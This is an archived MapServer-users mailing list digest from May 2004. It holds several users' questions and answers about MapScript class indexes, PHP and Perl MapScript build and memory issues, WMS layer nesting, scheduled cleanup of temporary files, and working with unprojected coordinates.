define one EXPRESSION in class because I don't have anything to define. The feature (shapeObj) only support to change two attributes "text" and "classindex". Text to label and index to class, correct? I used this layer: layer name 'test' type point status off labelcache on class symbol 'coleta' color 255 0 0 outlinecolor 255 255 255 size 10 label antialias on color 255 255 255 outlinecolor 0 0 0 buffer 2 font verdana type truetype force false size 8 position ll end end class color 0 0 0 outlinecolor 255 255 255 symbol 'sede' size 10 label antialias on color 125 255 155 outlinecolor 125 0 123 buffer 2 font verdana type truetype force true size 8 position cc end end end I changed many values in this layer, labelcache, force, position...... but always the same efect. First class. And I use this mapscript code: if ($layer_name == 'test') { ociConectar(); //Connect to database ociExecutar( $pesq_faz_suinos); //Execute the query $p = ms_newpointObj(); while (list($cd_fornecedor, $x, $y ) = ociTupla()) { $p->setXY($x, $y); if ($circle->contains($p)) { isset($ShapePonto); isset($Ponto); $Ponto = ms_newLineObj(); $Ponto->addXY( $x, $y ); $ShapePonto = ms_newShapeObj( MS_SHAPE_POINT ); $ShapePonto->add( $Ponto ); echo $ShapePonto->classindex; //Show 0 echo $layer->numclasses; //Show 2 $ShapePonto->set('classindex',1); echo $ShapePonto->classindex; //Show 1 $ShapePonto->set('text',$cd_fornecedor); $layer->addFeature( $ShapePonto ); echo $ShapePonto->classindex; //Show 1 $Ponto->free(); $ShapePonto->free(); unset($Ponto); unset($ShapePonto); } } } Now, how I can do to set the indexclass correctly?How I can change betwen the class using Mapscript? I'm using version 4.02. Sorry my poor english. Thank's for help. ================================================================== Fernando Simon DataBase Manager, Mapserver, OracleSpatial and PostGis Developer G10 - Laborat?rio de Computa??o Aplicada MapOracleSpatial developer http://g10.cttmar.univali.br ================================================================== --------------050707070105030603090803 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi,  
    I am with some problems with label items. I have one layer with two classes and I don't have data because I NEED to use FEATURE.
    Well, I'm using mapscript to set and add the feature, this items are draw correctly, they appear in the map. They are drawed using first class definitions.
    Now I need to set correctly the class using mapscript. I tried to set the classindex in "ms_newShapeObj", the same that I use in "addFeature". I set this value before I execute "addFeature". But the data always drawed by first class. When I execute an echo before set the classindex was show 0 and after I changed, was show the value that I set, but always the feature it's drawed by first class. I changed the values to many options (1, 2, 3....) but without effect.
    I can't to define one EXPRESSION in class because I don't have anything to define. The feature (shapeObj) only support to change two attributes "text" and "classindex". Text to label and index to class, correct?

    I used this layer:

layer
    name 'test'
    type point
    status off
    labelcache on
    class
        symbol 'coleta'
        color 255 0 0
        outlinecolor 255 255 255
        size 10
        label
            antialias on            
            color 255 255 255
            outlinecolor 0 0 0
            buffer 2
            font verdana
            type truetype
            force false
            size 8
            position ll
        end            
    end
    class      
        color 0 0 0
        outlinecolor 255 255 255
        symbol 'sede'
        size 10
        label
            antialias on
            color 125 255 155
            outlinecolor 125 0 123
            buffer 2
            font verdana
            type truetype
            force true
            size 8
            position cc
        end            
    end
end  

    I changed many values in this layer, labelcache, force, position...... but always the same efect. First class.

    And I use this mapscript code:

        if ($layer_name == 'test')
        {           
            ociConectar();  //Connect to database
            ociExecutar( $pesq_faz_suinos);  //Execute the query
            $p = ms_newpointObj();
            while (list($cd_fornecedor, $x, $y ) = ociTupla())
            {     
                    $p->setXY($x, $y);                   
                    if ($circle->contains($p))
                    {
                          isset($ShapePonto);
                          isset($Ponto);
                       
                          $Ponto = ms_newLineObj();
                          $Ponto->addXY( $x, $y );
                          $ShapePonto = ms_newShapeObj( MS_SHAPE_POINT );
                          $ShapePonto->add( $Ponto );
                                                   
                          echo $ShapePonto->classindex; //Show 0
                          echo $layer->numclasses; //Show 2
                          $ShapePonto->set('classindex',1);
                          echo $ShapePonto->classindex; //Show 1
                         
                          $ShapePonto->set('text',$cd_fornecedor);
                          $layer->addFeature( $ShapePonto );
                          echo $ShapePonto->classindex; //Show 1
                       
                           $Ponto->free();
                           $ShapePonto->free();                       
                           unset($Ponto);
                           unset($ShapePonto);
                    }                  
            }
        }

    Now, how I can do to set the indexclass correctly?How I can change betwen the class using Mapscript?
    I'm using version 4.02.

    Sorry my poor english.
    Thank's for help.

==================================================================
Fernando Simon
DataBase Manager, Mapserver, OracleSpatial and PostGis Developer
G10 - Laboratório de Computação Aplicada
MapOracleSpatial developer
http://g10.cttmar.univali.br
==================================================================

--------------050707070105030603090803-- From edspremolla at Antel.com.uy Tue May 4 08:02:13 2004 From: edspremolla at Antel.com.uy (Eduardo Spremolla) Date: Tue, 04 May 2004 12:02:13 -0300 Subject: [Mapserver-users] erasing files from tmp folder In-Reply-To: <20040504140620.20316.qmail@web90009.mail.scd.yahoo.com> References: <20040504140620.20316.qmail@web90009.mail.scd.yahoo.com> Message-ID: <1083682933.31557.5.camel@fly.in.iantel.com.uy> Cron is the periodic task executor of unix. In windows there is something similar named "rutin task" ore some thing like that. Make it call a .bat to erase the files everi hour. LALO El mar, 04-05-2004 a las 11:06, william paul escribi??: > Hi again, > I still ave the same problem with erasing files from tmp directory. I > received an answer to use cron or croon, but I don't know exact what > is cron or croon? it's a script in java?, a software? I use Windows Xp > thank's > > > ______________________________________________________________________ > Do you Yahoo!? > Win a $20,000 Career Makeover at Yahoo! HotJobs -- Eduardo Spremolla Antel I+D From dmorissette at dmsolutions.ca Tue May 4 08:29:48 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 04 May 2004 11:29:48 -0400 Subject: [Mapserver-users] nesting of layers in WMS In-Reply-To: <5350.212.238.227.182.1083677958.squirrel@webmail.xs4all.nl> References: <5350.212.238.227.182.1083677958.squirrel@webmail.xs4all.nl> Message-ID: <4097B6EC.9010108@dmsolutions.ca> bartvde at xs4all.nl wrote: > > as most of you know Mapserver supports nesting of layers as a WMS server > by using the GROUP attribute for layers. > > However this only supports nesting layers one level deep, while the OGC > WMS spec allows it to be nested infinitely. > > Are there any plans for Mapserver to support a deeper level of nesting, > like e.g. the Cubewerx server supports? Will this still be practical with > the current MAP file format, or will it need an XML map file format? > No, there is no plan to support deeper nesting (not on our side anyway). As you wrote, the current mapfile structure (and the Map object structure in memory) wouldn't be well suited for that. And going to an XML map file format without changing the map object wouldn't help for that either. (However something could probably be done using metadata without changing the object structure I think.) Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From thelen at ccgis.de Tue May 4 08:32:34 2004 From: thelen at ccgis.de (Benjamin Thelen) Date: Tue, 04 May 2004 17:32:34 +0200 Subject: [Mapserver-users] PHP4's bundled regex problem - PHP MapScript In-Reply-To: <40979816.3030808@uva.nl> References: <200404301413.i3UEDLA9011504@ccom.unh.edu> <409790C1.7020001@ccgis.de> <40979816.3030808@uva.nl> Message-ID: <4097B792.6060600@ccgis.de> Mapserver needs php to be compiled as a cgi, if phpMapScript support is requested, so --with-apache or --with-apxs doesn't really make sense, I think. But maybe I am wrong. I agree, that lots of people have had this problem and the error message is missleading. Benjamin --------------------------------- CCGIS GbR - Bonn http://www.ccgis.de Siemensstra?e 8 53121 Bonn Germany Tel: ++49 (0) 228 90826 15 Fax: ++49 (0) 228 90826 11 Jan Hartmann wrote: > > > Benjamin Thelen wrote: > >> Don't use ?with-httpd=/usr/local/apache2/bin/httpd! >> >> > > I stumbled over the same problem yesterday. The error message is > misleading. PHP-Mapscript requires PHP to have been compiled with > "--with-regex=system", but even if that is the case, the configure > script fails when called with "--with-apxs" or "-- with-apache". (Both > options seem to be currently disabled BTW). Could someone please adapt > this error message in the configure script? Lots of people seem to have > had this problem. > > Jan > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From Charles.Blais at agr.gouv.qc.ca Tue May 4 08:36:36 2004 From: Charles.Blais at agr.gouv.qc.ca (Charles.Blais at agr.gouv.qc.ca) Date: Tue, 4 May 2004 11:36:36 -0400 Subject: [Mapserver-users] Premature end of script headers: c:/php/php .exe Message-ID: <6369CE0CFAE7D411AC900002A5092B390127E889@nclt1-ntcoup1.mapaq.gouv.qc.ca> Yes I did. -----Message d'origine----- De : Emil Zegers [mailto:EZS at DeStraat.NL] Envoy? : 4 mai 2004 10:42 ? : Blais Charles (DRCQ) (Nicolet); mapserver-users at lists.gis.umn.edu Objet : Re: [Mapserver-users] Premature end of script headers: c:/php/php.exe Did you copy the dll's from the /php/dll directory to the windows system directory? See the install.txt that comes with the php installer/binaries. >>> 05/04/04 03:52pm >>> > Hi, > > When I try a sample phpmapsript code, I get the following error : > "Premature end of script headers: c:/php/php.exe" > > WIN2000 pro > Apache 1.3.29 > Php 4.3.3 > PhpMapscript 4.0.1 > > Any ideas ? > > > Thanks > > > Charles _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________ VChecked ______________________________________________________ This message has been checked for all known viruses ______________________________________________________ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From sgillies at frii.com Tue May 4 08:50:00 2004 From: sgillies at frii.com (Sean Gillies) Date: Tue, 04 May 2004 09:50:00 -0600 Subject: [Mapserver-users] auto angle line labeling with mapscript In-Reply-To: <409781DF.1090000@webgis.de> References: <409781DF.1090000@webgis.de> Message-ID: <4097BBA8.2010404@frii.com> Michael Schulz wrote: > Hi, > > I have a problem with labeling line features with the angle auto option. > If I draw a certain line layer with shp2img then everything works fine. > This is the corresponding image: > http://www.zopecms.de/bohrdatenportal/labeltest_shp2img.png > > If I use the same mapfile with python/mapscript then the situation > changes, the labels are drawn, but they get rotated in the wrong > direction but for a "correct" angle value. > This is the corresponding image: > http://www.zopecms.de/bohrdatenportal/labeltest_pymapscript.png > > These images were created with mapserver 4.0.1, gd-2.0.21, > freetype-2.1.7 on WIN2K. > > Has anyone using mapscript, perhaps in another flavor had the same > problems? > > TIA, Michael > > P.S.: Could this problem be related with this bug:? > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=564 Michael, The shp2img program is nothing more than a command line processing wrapper for the msLoadMap() and msDrawMap() functions in libmap. The equivalent in Python would be something like shp2img_map = mapscript.mapObj(mapfile_source) ... # process layer, extent options, &c. img = shp2img_map.draw() img.save(imgfile_destination) If you are using the draw() method of the mapObj class, all else being equal, you should see the same results from the two methods. Are you using mapObj().draw or are you using layerObj.draw()? Have you ruled out the possibility that you are mixing shp2img and _mapscript.so from different revisions? cheers, Sean From mtperry78 at sbcglobal.net Tue May 4 09:02:39 2004 From: mtperry78 at sbcglobal.net (Matthew Perry) Date: Tue, 4 May 2004 09:02:39 -0700 (PDT) Subject: [Mapserver-users] Using mapserv.js with decimal degrees In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E4473@mercator.topozone.com> Message-ID: <20040504160239.12792.qmail@web80103.mail.yahoo.com> We have, for the time being, decided that we must use projected data with mapserv.js. In order to get accurate scale calculations necessary for the navigation tools, the units must be planar. The solution might involve some javascript conversion of lat/long mouse clicks and extents into planar distances, doing the scale calculations, then converting back to lat/long. It would be much easier to simply reproject the datasets. Thanks to everyone for their help. Matt Perry Natural Resources Planning Humboldt State University mtperry78 at sbcglobal.net --- Ed McNierney wrote: > Matt - > > The problem with unprojected data is that it's a > strange and > hard-to-interpret data set when you try to measure > something! > > If your data is displayed in "decimal degrees" that > means that one > degree of latitude and one degree of longitude form > a square. Of > course, they don't really do that anywhere on the > Earth. And unless > you're really close to the equator, one degree of > longitude is > noticeably shorter than one degree of latitude. And > the length of one > degree of longitude varies depending on the > latitude. > > So you've got a map that lets users measure "one > degree" - what does > that mean? It means that you're taking those > angular units and trying > to pretend they're linear units. If someone > measures between two points > on your map and measures one degree, they will know > that the square root > of the sum of the latitude difference squared and > the longitude > difference squared equals one. It does not tell > them anything about how > far apart those two points are in any useful linear > measurement (feet, > miles, meters, cubits, chains, furlongs, etc.). > > And if you display a scalebar on that map, the units > must be in > "degrees", whatever they are . > > What kind of measurement are you hoping to display? > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com / Maps a la carte, Inc. > 73 Princeton Street, Suite 305 > North Chelmsford, MA 01863 > ed at topozone.com > (978) 251-4242 > > -----Original Message----- > From: Matthew Perry [mailto:mtperry78 at sbcglobal.net] > > Sent: Monday, May 03, 2004 3:01 PM > To: mapserver-users at lists.gis.umn.edu > Cc: Gregor Mosheh > Subject: [Mapserver-users] Using mapserv.js with > decimal degrees > > Hey all, > I have been using the mapserv.js and dbox.js > libraries for developing > mapserver interfaces. It works great for projected > data but now we're > trying to get the navigation tools (panning, > zooming, etc) to work with > decimal degrees. > > In the mapserv.js, there is a global variable called > InchesPerMapUnit > that you need to set correctly if not using meters. > Since lat/long is > measured in angular units (degrees), how would you > set this variable? > > Are there any other tricks to get the coordinate > calculations working > with lat/long? Anyone had any luck with this? Is it > even possible? > > Thanks for any input! > > Matt Perry > Natural Resources Planning > Humboldt State University > mtperry78 at sbcglobal.net > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jerl.simpson at rkiq.com Tue May 4 09:36:13 2004 From: jerl.simpson at rkiq.com (Jerl Simpson) Date: Tue, 04 May 2004 11:36:13 -0500 Subject: [Mapserver-users] TILEINDEX question Message-ID: <4097C67D.7000901@rkiq.com> I keep seeing this term TILEINDEX and I have yet to find what it actually is, or what it provides. I am hoping it helps index the maps, so that when I look at a small section of my entire map, it indexes this and speeds up the maps. And doesn't look at the entire US to draw a small area of say, Long Island. Can someone point me to a more detailed explanation of this feature? Thanks, Jerl From aattri at cba.ua.edu Tue May 4 10:36:22 2004 From: aattri at cba.ua.edu (Attri, Abhishek) Date: Tue, 4 May 2004 12:36:22 -0500 Subject: [Mapserver-users] How to import mysql data in mapscript Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C431FE.50D74C70 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hi all, =20 Please let me know if it's possible at all. I am trying to import data (which is not shape data, but just simple data like population of all counties of a state) from a MySQL database, and query the shapefiles for "Counties" based on the fields in the MySQL database. The shapefiles and the results from the MySQL query have nothing in common. They are two totally different data sources. How can I integrate them?=20 =20 Has anyone done something like this? If yes, then how will you set the values of 'data', 'classitem' and 'setexpression' in the layer and class objects? If that's not possible, what else can be done to achieve the above purpose?=20 =20 I have tried a lot of combinations to import data, and query the result set, but was not successful to create the layer based on MySQL data. Please help! =20 With thanks, =20 Abhishek =20 =20 =20 =20 ------_=_NextPart_001_01C431FE.50D74C70 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi all,

 

Please let me know if it’s possible at all. I = am trying to import data (which is not shape data, but just simple data = like population of all counties of a state) from a MySQL database, and query = the shapefiles for “Counties” based on the fields in the MySQL database. =  The shapefiles and the results from the MySQL query have nothing in common. = They are two totally different data sources. How can I integrate them? =

 

Has anyone done something like this? If yes, then how = will you set the values of ‘data’, ‘classitem’ and = ‘setexpression’   in the layer and class objects?

If that’s not possible, what else can be done = to achieve the above purpose?

 

I have tried a lot of combinations to import data, = and query the result set, but was not successful to create the layer based on = MySQL data. Please help!

 

With thanks,

 

Abhishek

 

 

 

 

------_=_NextPart_001_01C431FE.50D74C70-- From Charles.Blais at agr.gouv.qc.ca Tue May 4 10:40:45 2004 From: Charles.Blais at agr.gouv.qc.ca (Charles.Blais at agr.gouv.qc.ca) Date: Tue, 4 May 2004 13:40:45 -0400 Subject: [Mapserver-users] Premature end of script headers: c:/php/php .exe Message-ID: <6369CE0CFAE7D411AC900002A5092B390127E88C@nclt1-ntcoup1.mapaq.gouv.qc.ca> I found the problem. I have php.exe in c:\php\ and mapserv.exe in c:\apache_group\apache\cgi-bin\. Mapserver's librairies was in c:\winnt\system32. I removed them (gdal11.dll, libpq.dll, libcurl.dll, NC***.dll, pdflib.dll, php4ts.dll, proj.dll, xerces-c_1_6-0.dll) and put them in c:\php\ and c:\apache_group\apache\cgi-bin\. Now it's working Thanks Charles -----Message d'origine----- De : Blais Charles (DRCQ) (Nicolet) Envoy? : 4 mai 2004 11:37 ? : EZS at DeStraat.NL; mapserver-users at lists.gis.umn.edu Objet : RE: [Mapserver-users] Premature end of script headers: c:/php/php .exe Yes I did. -----Message d'origine----- De : Emil Zegers [mailto:EZS at DeStraat.NL] Envoy? : 4 mai 2004 10:42 ? : Blais Charles (DRCQ) (Nicolet); mapserver-users at lists.gis.umn.edu Objet : Re: [Mapserver-users] Premature end of script headers: c:/php/php.exe Did you copy the dll's from the /php/dll directory to the windows system directory? See the install.txt that comes with the php installer/binaries. >>> 05/04/04 03:52pm >>> > Hi, > > When I try a sample phpmapsript code, I get the following error : > "Premature end of script headers: c:/php/php.exe" > > WIN2000 pro > Apache 1.3.29 > Php 4.3.3 > PhpMapscript 4.0.1 > > Any ideas ? > > > Thanks > > > Charles _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________ VChecked ______________________________________________________ This message has been checked for all known viruses ______________________________________________________ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From siki at agt.bme.hu Tue May 4 14:11:36 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Tue, 4 May 2004 20:11:36 -0100 (GMT+1) Subject: [Mapserver-users] erasing files from tmp folder {Scanned} In-Reply-To: <20040504140620.20316.qmail@web90009.mail.scd.yahoo.com> Message-ID: Hi, On Tue, 4 May 2004, william paul wrote: > Hi again, > I still ave the same problem with erasing files from tmp directory. I received an answer to use cron or croon, but I don't know exact what is cron or croon? it's a script in java?, a software? I use Windows Xp > thank's > cron is a unix service to repeat tasks hourly, daily, etc. On windows xp you can set up a scheduled task start/programs/accessories/system tools/scheduled tasks to delete files from your tmp directory. Bye Zoltan From ed at topozone.com Tue May 4 11:41:47 2004 From: ed at topozone.com (Ed McNierney) Date: Tue, 4 May 2004 14:41:47 -0400 Subject: [Mapserver-users] Using mapserv.js with decimal degrees Message-ID: <13858AA1A74F30419F319ACB66A9D1224E4489@mercator.topozone.com> Matt - Of course, you do have the option of simply reprojecting the MAP, rather than the datasets. You can leave your datasets untouched and have MapServer produce the output map in whatever projection you choose. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Matthew Perry [mailto:mtperry78 at sbcglobal.net] Sent: Tuesday, May 04, 2004 12:03 PM To: Ed McNierney; mapserver-users at lists.gis.umn.edu Cc: Gregor Mosheh Subject: RE: [Mapserver-users] Using mapserv.js with decimal degrees We have, for the time being, decided that we must use projected data with mapserv.js. In order to get accurate scale calculations necessary for the navigation tools, the units must be planar. The solution might involve some javascript conversion of lat/long mouse clicks and extents into planar distances, doing the scale calculations, then converting back to lat/long. It would be much easier to simply reproject the datasets. Thanks to everyone for their help. Matt Perry Natural Resources Planning Humboldt State University mtperry78 at sbcglobal.net --- Ed McNierney wrote: > Matt - > > The problem with unprojected data is that it's a strange and > hard-to-interpret data set when you try to measure something! > > If your data is displayed in "decimal degrees" that means that one > degree of latitude and one degree of longitude form a square. Of > course, they don't really do that anywhere on the Earth. And unless > you're really close to the equator, one degree of longitude is > noticeably shorter than one degree of latitude. And the length of one > degree of longitude varies depending on the latitude. > > So you've got a map that lets users measure "one degree" - what does > that mean? It means that you're taking those angular units and trying > to pretend they're linear units. If someone measures between two > points on your map and measures one degree, they will know that the > square root of the sum of the latitude difference squared and the > longitude difference squared equals one. It does not tell them > anything about how far apart those two points are in any useful linear > measurement (feet, miles, meters, cubits, chains, furlongs, etc.). > > And if you display a scalebar on that map, the units must be in > "degrees", whatever they are . > > What kind of measurement are you hoping to display? > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com / Maps a la carte, Inc. > 73 Princeton Street, Suite 305 > North Chelmsford, MA 01863 > ed at topozone.com > (978) 251-4242 > > -----Original Message----- > From: Matthew Perry [mailto:mtperry78 at sbcglobal.net] > > Sent: Monday, May 03, 2004 3:01 PM > To: mapserver-users at lists.gis.umn.edu > Cc: Gregor Mosheh > Subject: [Mapserver-users] Using mapserv.js with decimal degrees > > Hey all, > I have been using the mapserv.js and dbox.js libraries for > developing mapserver interfaces. It works great for projected data but > now we're trying to get the navigation tools (panning, zooming, etc) > to work with decimal degrees. > > In the mapserv.js, there is a global variable called InchesPerMapUnit > that you need to set correctly if not using meters. > Since lat/long is > measured in angular units (degrees), how would you set this variable? > > Are there any other tricks to get the coordinate calculations working > with lat/long? Anyone had any luck with this? Is it even possible? > > Thanks for any input! > > Matt Perry > Natural Resources Planning > Humboldt State University > mtperry78 at sbcglobal.net > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From eric at gomoos.org Tue May 4 12:18:09 2004 From: eric at gomoos.org (Eric Bridger) Date: 04 May 2004 15:18:09 -0400 Subject: [Mapserver-users] Perl Mapscript 4 $image->free() bug Message-ID: <1083698295.1521.102.camel@ubet.gomoos.org> Moving my Perl mapscript scripts to mapserver 4.0.2 and 4.2 beta1 I've discovered a problem with the imageObj->free() method. I think I recall some recent posts with similiar problems on FreeBSD systems. We are running: FreeBSD 4.8, Perl5.8.0 Both: MapServer version 4.2-beta1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE --without-tiff GDAL 1.1.9 At first I thought it might be an Apache/mod_perl issue. Apache log showed messages like: httpd in free(): warning: junk pointer, too high to make sense mapserver.log showed occasional: Tue May 4 14:33:30 2004 - msFreeImage(): General error message. Unknown image type But the short script and map file below, run from the command line produces ~ 900: perl in free(): warning: page is already free perl in free(): warning: junk pointer, too high to make sense perl in free(): warning: chunk is already free Simple work around is to stop using $imageObj->free() which fixes the problem. ======= free_test.pl ================ #!/usr/bin/perl use strict; use mapscript4; #OR #use mapscript42; $ENV{MS_ERRORFILE} = '/tmp/mapserver4.log'; my $image_name = "free_test.png"; my $map = new mapscript4::mapObj("free_test.map"); if(!$map){ warn "New mapObj() error: $mapscript4::ms_error->{message}\n"; } my $img = $map->draw(); if(!$img){ warn "map->draw() error: $mapscript4::ms_error->{message}\n"; } $map->drawLabelCache($img); $img->save($image_name); # This causes core dump. w/o it works fine. $img->free(); exit; ======== free_test.map ================= MAP STATUS ON EXTENT -71.50 39.5 -63.0 46.0 # MINX MINY MAXX MAXY SIZE 600 459 IMAGETYPE PNG UNITS DD IMAGECOLOR 152 245 255 OUTPUTFORMAT NAME PNG DRIVER "GD/PNG" MIMETYPE "image/png" # 24bit #IMAGEMODE RGB # 8 bit IMAGEMODE PC256 EXTENSION "png" END PROJECTION "proj=latlong" END LAYER NAME "gom_states" TYPE POLYGON STATUS DEFAULT DATA "/home/www/gomoos.org/data/mapserver/vector/usgs/states/land_east" CLASS STYLE OUTLINECOLOR 162 193 194 COLOR 255 255 204 END END PROJECTION "proj=latlong" END END END From eric at gomoos.org Tue May 4 12:18:39 2004 From: eric at gomoos.org (Eric Bridger) Date: 04 May 2004 15:18:39 -0400 Subject: [Mapserver-users] How to import mysql data in mapscript In-Reply-To: References: Message-ID: <1083698324.1455.105.camel@ubet.gomoos.org> This is certainly possible using mapscript. But you must ensure that there is at least one key value in common between your shapes and your database. queryByPoint, or queryByRect, etc will return to you the contents of you shape files DBF file. If one of those is a key value, such as country code, you can then use it to query your MySQL database. Conversely you can loop thru all you shapes and check each one for a matching country code (key value) and then set attributes on the shape, such as hightlight, etc. On Tue, 2004-05-04 at 13:36, Attri, Abhishek wrote: > Hi all, > > > > Please let me know if it's possible at all. I am trying to import data > (which is not shape data, but just simple data like population of all > counties of a state) from a MySQL database, and query the shapefiles for > "Counties" based on the fields in the MySQL database. The shapefiles > and the results from the MySQL query have nothing in common. They are > two totally different data sources. How can I integrate them? > > > > Has anyone done something like this? If yes, then how will you set the > values of 'data', 'classitem' and 'setexpression' in the layer and > class objects? > > If that's not possible, what else can be done to achieve the above > purpose? > > > > I have tried a lot of combinations to import data, and query the result > set, but was not successful to create the layer based on MySQL data. > Please help! > > > > With thanks, > > > > Abhishek > > > > > > > > > From schaumberger at gmx.net Tue May 4 13:42:31 2004 From: schaumberger at gmx.net (Andreas Schaumberger) Date: Tue, 4 May 2004 22:42:31 +0200 Subject: [Mapserver-users] Query Message-ID: <000001c43218$5892dc00$8c00000a@SCHAUMBERGER> This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C43229.1C1BAC00 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hello! As a student I'm starting to work with MapServer on a project this term. = Our job is to add our own attributes to an existing shape-file. These = attributes should be stored in a SQL-Database (postgreSQL - postgis) as a relation = to the attributes of the shape-file. The user should click on a feature in = the map and get the list of attributes. Now, the user should be able to add = his attributes. So far, the implementation is quite clear but we still have = a missing link.=20 =20 Is there any way to get the key (or other) attribute of the feature = which is clicked on? We need this attribute as a variable in our java servlet for running the database application. We would like to use only the CGI MapServer. =20 Thanks for help Andreas =20 =20 =20 ------=_NextPart_000_0001_01C43229.1C1BAC00 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Nachricht
Hello!

As a=20 student I'm starting to work with MapServer on a project this term. Our = job is=20 to add our own attributes to an existing shape-file. These attributes = should be=20 stored in a SQL-Database (postgreSQL – postgis) as a relation to = the attributes=20 of the shape-file. The user should click on a feature in the map and get = the=20 list of attributes. Now, the user should be able to add his attributes. = So far,=20 the implementation is quite clear but we still have a missing link.=20

 

Is there=20 any way to get the key (or other) attribute of the feature which is = clicked on?=20 We need this attribute as a variable in our java servlet for running the = database application. We would like to use only the CGI=20 MapServer.

 

Thanks for=20 help

Andreas

 

 

 
------=_NextPart_000_0001_01C43229.1C1BAC00-- From dmorissette at dmsolutions.ca Tue May 4 14:06:25 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 04 May 2004 17:06:25 -0400 Subject: [Mapserver-users] PHP4's bundled regex problem - PHP MapScript In-Reply-To: <4097B792.6060600@ccgis.de> References: <200404301413.i3UEDLA9011504@ccom.unh.edu> <409790C1.7020001@ccgis.de> <40979816.3030808@uva.nl> <4097B792.6060600@ccgis.de> Message-ID: <409805D1.7090104@dmsolutions.ca> Benjamin Thelen wrote: > Mapserver needs php to be compiled as a cgi, if phpMapScript support is > requested, so --with-apache or --with-apxs doesn't really make sense, I > think. But maybe I am wrong. I agree, that lots of people have had this > problem and the error message is missleading. > PHP's --with-regex=system works *only* if PHP is configured as a CGI, that is that is without the --with-apxs and --with-httpd options. I have updated the error message in both 4.2 and 4.3 versions to try to explain that more clearly: !!! The current version of PHP MapScript has some problems with !!! !!! PHP4's bundled regex. Until we figure the solution to the !!! !!! problem, the workaround is to compile PHP4 with the system regex !!! !!! Please re-configure and re-compile PHP4 using --with-regex=system !!! !!! and then re-configure and re-compile MapServer. !!! !!! Note that PHP's --with-regex=system works only when PHP is !!! !!! is configured as a CGI (that is without the --with-apxs and !!! !!! --with-httpd options). So if you configured your PHP using !!! !!! --with-regex=system and still get this error then make sure you !!! !!! configured PHP as a CGI. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From sgillies at frii.com Tue May 4 14:31:48 2004 From: sgillies at frii.com (Sean Gillies) Date: Tue, 04 May 2004 15:31:48 -0600 Subject: [Mapserver-users] Re: [Mapserver-dev] Perl Mapscript 4 $image->free() bug In-Reply-To: <1083698295.1521.102.camel@ubet.gomoos.org> References: <1083698295.1521.102.camel@ubet.gomoos.org> Message-ID: <40980BC4.5080207@frii.com> Eric Bridger wrote: > Moving my Perl mapscript scripts to mapserver 4.0.2 and 4.2 beta1 I've > discovered a problem with the imageObj->free() method. > > I think I recall some recent posts with similiar problems on FreeBSD > systems. > > We are running: FreeBSD 4.8, Perl5.8.0 > Both: > MapServer version 4.2-beta1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG > OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER > SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT > INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=POSTGIS INPUT=OGR > INPUT=GDAL INPUT=SHAPEFILE > > --without-tiff GDAL 1.1.9 > > At first I thought it might be an Apache/mod_perl issue. Apache log > showed messages like: > httpd in free(): warning: junk pointer, 